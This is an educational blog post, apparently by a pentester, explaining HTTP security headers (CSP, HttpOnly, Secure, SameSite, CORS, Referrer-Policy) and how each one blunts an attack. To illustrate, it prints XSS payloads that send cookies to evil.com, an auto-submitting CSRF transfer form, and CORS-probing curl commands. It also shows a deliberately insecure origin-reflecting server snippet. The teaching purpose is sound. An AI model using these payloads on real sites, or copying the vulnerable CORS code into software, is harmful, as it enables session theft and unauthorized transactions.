HTTP Security Headers
Hello everyone!! In this article i will talk about some security headers.
I wrote this for people like me who get confused when they see security headers in a response. And developers who want to build secure apps.
I used to see Content-Security-Policy and just ignore it. Then I learned that headers can change a critical bug into a medium bug, or stop an attack completely.
This article is simple. I will explain how the web works, what happens when your browser talks to a server, and how headers stop real attacks. I will also show you the tricks I look for when I test an application. lets goo
How the Web Works
When you open a website, your request does not go straight to one computer. It travels through a chain of systems. It looks like this:
Your Browser → Firewall → Load Balancer → Reverse Proxy → Web Server → Application Server → Database
Your browser is the client. The web server (like Nginx or Apache) gives you files or sends your request to the application server (where the real code lives, like Node.js or Python). The application server talks to the database to get or save information. These three the web server, application server, and database are the basics. Every website needs them.
The firewall blocks bad traffic. The load balancer shares work between many servers. The reverse proxy handles encryption and caching. These are optional. Small sites often skip them. Big sites use them because they handle millions of users.
Every time you want to load a page or send data, your browser must send an HTTP request. The server reads it and sends back an HTTP response. This back-and-forth is called the request-response lifecycle, and that is what we will cover.
The Request-Response Lifecycle
Let me walk you through one full cycle. This will help you understand where headers fit in.
Step 1: The browser builds the request.
Your browser creates a message. It has a method (like POST), a path (like /api/transfer), and headers that describe what it wants.
POST /api/transfer HTTP/1.1
Host: bank.example.com
Content-Type: application/json
Cookie: sessionid=abc123; csrf_token=xyz789
Origin: https://bank.example.com
{“amount”: 1000, “to_account”: “12345”}Step 2: The request travels through the network.
The message leaves your browser. It goes through DNS, then TCP and TLS handshakes, and maybe a proxy. The headers travel with it the whole time.
Step 3: The server reads the request.
The server looks at the headers. It checks the Cookie to know who you are. It checks Origin to see where the request came from. It decides if the request is safe or not.
Step 4: The server sends back a response with headers.
HTTP/1.1 200 OK
Content-Type: application/json
Set-Cookie: sessionid=abc123; HttpOnly; Secure; SameSite=Strict
Content-Security-Policy: default-src ‘self’; script-src ‘self’
X-Frame-Options: DENY
{“status”: “success”}Step 5: The browser reads the headers first.
This is the important part. The browser reads the response headers before it shows you anything. It sets the cookie with the given rules. It blocks scripts that break the security policy. It stops the page from loading inside an iframe. Security happens here, before you see the page.
Origin vs Site:
Before we go deeper, you need to know what an origin is.
An origin is the exact combination of three things: the protocol, the hostname, and the port.
- https://bank.example.com is one origin.
- https://api.bank.example.com is a different origin.
- http://bank.example.com is also a different origin because the protocol changed.
Browsers use the Same-Origin Policy. JavaScript on one origin cannot read responses from another origin unless the server says it is okay.
A site is broader. It is the registered domain plus the protocol.
- https://one.example.com
- https://two.example.com
These are different origins but the same site. This matters because the SameSite cookie attribute works at the site level. A cookie set on one.example.com with SameSite=Lax will still be sent to two.example.com.
So if an attacker controls one subdomain, they might attack another subdomain on the same site because the cookies will travel between them.
1. Content-Security-Policy (CSP)
The Attack: Cross-Site Scripting (XSS)
XSS happens when an attacker puts malicious JavaScript code into a page that other users will see. The browser cannot tell the difference between a good script written by the developer and a malicious script written by the attacker. It runs everything.
There are three types:
- Stored XSS: The attacker writes malicious code in a comment, a profile bio, or any field that the server saves. Every person who sees that comment runs the attacker’s script.
- Reflected XSS: The attacker sends a link with malicious code inside a URL parameter. The server puts that code into the HTML response without cleaning it. The browser runs it.
- DOM-based XSS: The attack happens only in the browser. Client-side JavaScript reads something the attacker controls and writes it to the page using dangerous methods.
When XSS runs, it can steal session cookies, record keystrokes, steal personal data, or perform actions like sending money or changing passwords.
How CSP Stops It
CSP creates a whitelist. The browser checks every script tag and every external JS file request against that whitelist before executing anything. If the source is not on the list, the browser blocks it.
A strong policy:
Content-Security-Policy:
default-src ‘self’;
script-src ‘self’;
style-src ‘self’;
img-src ‘self’ data:;
frame-ancestors ‘none’;
base-uri ‘self’;
object-src ‘none’;default-src ‘self’ sets the baseline: only load resources from the same origin unless overridden.
script-src ‘self’ means only load JavaScript from your own domain. No external scripts, no inline scripts.
Here is how the whitelist works in practice:
<! — This runs because ‘self’ is in the policy → HTML Source code
<script src=”/app.js”></script>
<! — This runs because https://js.stripe.com is in the policy → Third party
<script src=”https://js.stripe.com/v3/"></script>
<! — This is BLOCKED because evil.com is NOT in the policy → Attacker script
<script src=”https://evil.com/steal.js"></script>What Happens After Adding CSP?
An attacker finds a stored XSS vulnerability and submits this payload:
html
<script>fetch(‘https://evil.com/steal?cookie=' + document.cookie)</script>Without CSP, the browser executes it immediately.
With script-src ‘self’, the browser sees an inline script. It blocks execution completely. The developer console shows a violation error. The attacker’s code never runs.
If the attacker tries to load an external script instead:
html
<script src=”https://evil.com/malicious.js"></script>The browser checks the policy, sees that evil.com is not allowed, and refuses to load the file. The XSS injection point still exists and needs to be patched, but the header prevents it from being weaponized.
What to Look for as a Pentester
Look for unsafe-inline in the policy. This allows inline scripts and basically breaks the main protection.
Look for wildcards like script-src * or script-src https:. This means any HTTPS domain can serve scripts.
Check if any allowed domain hosts a JSONP (JSON with Padding) endpoint. JSONP is an old technique where a server returns JavaScript instead of JSON. It lets you execute code by changing a `callback` parameter in the URL. If a trusted domain has JSONP, you can abuse it to run your payload under a trusted domain.
For example, if https://bank.com/api/user?callback=myFunction returns myFunction({“name”:”John”}), try changing myFunction to alert(1). If the server reflects it, you can bypass CSP by running your code through the trusted domain.
If the app has a file upload feature, try uploading a `.js` file. Some servers serve uploaded files from the same origin, which would make the CSP trust them.
2. Cookie Security Flags
Cookies carry your session identifier. If an attacker steals your session cookie, they become you. But cookies have special flags that control how the browser handles them. These flags are some of the simplest and most effective defenses you can use.
A properly secured session cookie looks like this:
Set-Cookie: sessionid=abc123; HttpOnly; Secure; SameSite=LaxLet us look at each flag.
HttpOnly — Hides Cookies from JavaScript
The Attack
When XSS executes, the attacker’s first target is usually the session cookie. The typical payload:
<script>
fetch(‘https://evil.com/steal?cookie=' + document.cookie);
</script>document.cookie is a JavaScript property that returns all cookies the browser can see. The attacker grabs the session ID, puts it in their own browser, refreshes your site, and the server treats them as you.
What It Does: HttpOnly tells the browser to keep this cookie out of document.cookie. The browser still stores the cookie and still sends it with HTTP requests normally. But JavaScript cannot read it. It is invisible to any script running on the page.
What Happens After Adding It?
Get Khaled Anter’s stories in your inbox
Join Medium for free to get updates from this writer.
The attacker successfully injects the XSS payload. The script runs and executes:
fetch(‘https://evil.com/steal?cookie=' + document.cookie);But `document.cookie` returns only cookies that are not HttpOnly, like preferences or tracking IDs. The session cookie is missing. The attacker’s server receives the request but gets no session identifier. They cannot impersonate the user.
The XSS vulnerability still exists and needs to be patched, but the damage is contained.
What to Look for as a Pentester
Check the Set-Cookie header after login. If HttpOnly is missing, a successful XSS gives you session hijacking.
Remember: even with HttpOnly, XSS is not useless. You can still perform actions on behalf of the user, steal data from the page, or use XSS to trigger CSRF. The session token is just harder to grab directly.
Secure — HTTPS Only
The Secure flag means the cookie is only sent over HTTPS connections. If the user visits an HTTP version of the site, the browser does not send the cookie. This prevents an attacker on the same network from stealing the cookie through network sniffing.
If Secure is missing and the site has an HTTP endpoint, the session cookie travels in plaintext. An attacker on public WiFi can capture it.
SameSite
The Attack: Cross-Site Request Forgery (CSRF)
CSRF exploits the browser’s habit of automatically sending cookies with every request to a domain. If you are logged into bank.com and visit evil.com, that malicious site can instruct your browser to make requests to bank.com. Your browser will automatically attach your session cookie because it belongs to that domain.
The attacker does not need to read your cookie. They just need your browser to send it.
The attacker creates a hidden form:
<form action=”https://bank.com/api/transfer" method=”POST” id=”bad-form”>
<input type=”hidden” name=”to” value=”attacker-account”>
<input type=”hidden” name=”amount” value=”10000">
</form>
<script>document.getElementById(‘bad-form’).submit();</script>When the victim loads the attacker’s page, the browser sends an authenticated POST request to the bank. The server sees a valid session cookie and processes the transfer. The victim never clicked anything on purpose.
What It Does
SameSite controls whether the browser sends cookies on cross-site requests.
- SameSite=Strict means the cookie is never sent in cross-site requests. Not for links, not for forms, not for images.
- SameSite=Lax means the cookie is sent for top-level GET navigation (like clicking a normal link) but blocked for POST requests and embedded resources. This is the default in modern Chrome and works well for most applications.
- SameSite=None means the cookie is sent everywhere. Requires `Secure`.
What Happens After Adding SameSite?
The attacker’s hidden form submits a POST to bank.com. The browser checks the cookie, sees SameSite=Lax, recognizes this is a cross-site POST request, and refuses to send the session cookie. The request arrives at the bank without authentication. The bank returns a 401 or redirects to the login page. The transfer never happens.
What to Look for as a Pentester
SameSite=Lax still allows GET requests during top-level navigation. If the app does something sensitive via GET (like deleting an account), that is still exploitable even with Lax.
Also remember that subdomains share the same site. If the app is on app.example.com and you find XSS on blog.example.com, the cookies will still travel because they are the same site.
3. The CORS Trap
This is one of the most important things I learned. Some APIs use custom headers like X-CSRF-Token as a CSRF defense. The idea is that browsers send a CORS preflight before any request with a custom header, so a simple HTML form from a malicious site cannot include the token.
But this defense collapses completely if the server has a loose CORS configuration.
The Dangerous Misconfiguration
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: trueActually, browsers will reject the wildcard with credentials. But some developers try to be clever. They reflect whatever Origin the request sends:
// Bad server code
const origin = req.headers[‘origin’];
res.setHeader(‘Access-Control-Allow-Origin’, origin);
res.setHeader(‘Access-Control-Allow-Credentials’, ‘true’);Now any website can make authenticated cross-origin requests with custom headers. Your CSRF token defense means nothing. The attacker can call your API directly from their site.
How to Test It
Send a request with a fake Origin header and see what comes back:
curl -H “Origin: https://evil.com" -I https://target.com/api/useIf the response includes Access-Control-Allow-Origin: https://evil.com, the server is reflecting origins blindly. If it also has Access-Control-Allow-Credentials: true, you have a full CORS bypass.
Also test with `null`:
curl -H “Origin: null” -I https://target.com/api/endpointSome servers allowlist `null`, which is exploitable from sandboxed iframes.
What Correct CORS Looks Like
Access-Control-Allow-Origin: https://your-real-frontend.com
Access-Control-Allow-Credentials: trueAn explicit allowlist. Validated on the server. Never a wildcard with credentials.
4. Referrer-Policy
The Attack
When you click a link from one site to another, your browser sends a `Referer` header that contains the full URL of the page you came from.
If an application puts sensitive data in URLs, like password reset tokens or session IDs, that data leaks to external sites through the Referer header.
The Defense
Referrer-Policy: strict-origin-when-cross-originThis sends the full URL for same-origin requests, but only the origin (not the path or query string) for cross-origin requests. It sends nothing when downgrading from HTTPS to HTTP.
What Happens After Adding It?
A user is on a password reset page at https://app.com/reset?token=abc123secret and clicks a link to an external blog. Without a Referrer-Policy, the external site receives the full URL including the secret token in the Referer header. With strict-origin-when-cross-origin, only `https://app.com` is sent. The token stays private.
How I Test These Headers
Here is what I do when I start testing a web application.
Step 1: Check headers with curl
curl -I https://target.comThis shows all response headers. I look for missing security headers right away.
Step 2: Test CORS misconfiguration
curl -H “Origin: https://evil.com" -I https://target.com/api/endpoint
curl -H “Origin: null” -I https://target.com/api/endpointIf the server reflects these origins back with Access-Control-Allow-Credentials: true, I know I have a bypass.
Step 3: Use securityheaders.com
Paste the URL into securityheaders.com. It gives you a quick grade and tells you what is missing.
Step 4: Check cookies in Burp Suite
I log into the application and look at the `Set-Cookie` header in the response. I check for `HttpOnly`, `Secure`, and `SameSite`. If they are missing, I note it because it changes the impact of other bugs.
Step 5: Check CSP in browser DevTools
Open the Network tab, click the main request, and look at the response headers. If CSP is present, I read the policy. If I see `unsafe-inline` or wildcards, I know the CSP is weak.
When to Know a Site Is a Waste of Time
XSS is basically impossible if
- A strict CSP is in place (`default-src ‘self’`, `script-src ‘self’`, no `unsafe-inline`, no wildcards).
- There are no JSONP endpoints on allowed domains.
- There is no file upload that serves files from the same origin.
- All user input is encoded before it shows up on the page.
- There are no dangerous DOM sinks like `innerHTML` or `eval()` taking user input.
CSRF is basically impossible if:
- All session cookies have `SameSite=Strict`.
- There is no CORS misconfiguration (the Origin is not reflected, no `*` with credentials).
- All sensitive actions use POST/PUT/DELETE, not GET.
- The API does not accept requests from other domains at all.
If you see all of this, do not waste your time. Go look for other bugs like IDOR, SQL Injection, or Logic Bugs.
Final Thoughts
Security headers are not magic. They do not fix broken code. If you have an XSS injection point, CSP limits the damage but you still need to sanitize the input. If you have a CSRF vulnerability, SameSite helps but you still need proper token validation.
Think of headers as layers. Each layer assumes the one below it might fail. CSP assumes someone will find an XSS endpoint. HttpOnly assumes CSP might get bypassed. SameSite assumes the CSRF token check might have a problem.
When you stack them together, a single mistake is unlikely to become a full compromise.
As a pentester, always check the headers. They are what turns a medium bug into a critical one, or stops it from being critical at all. And always check the CORS configuration when you are testing CSRF defenses. It is the most common way a solid-looking API turns out to be completely open.





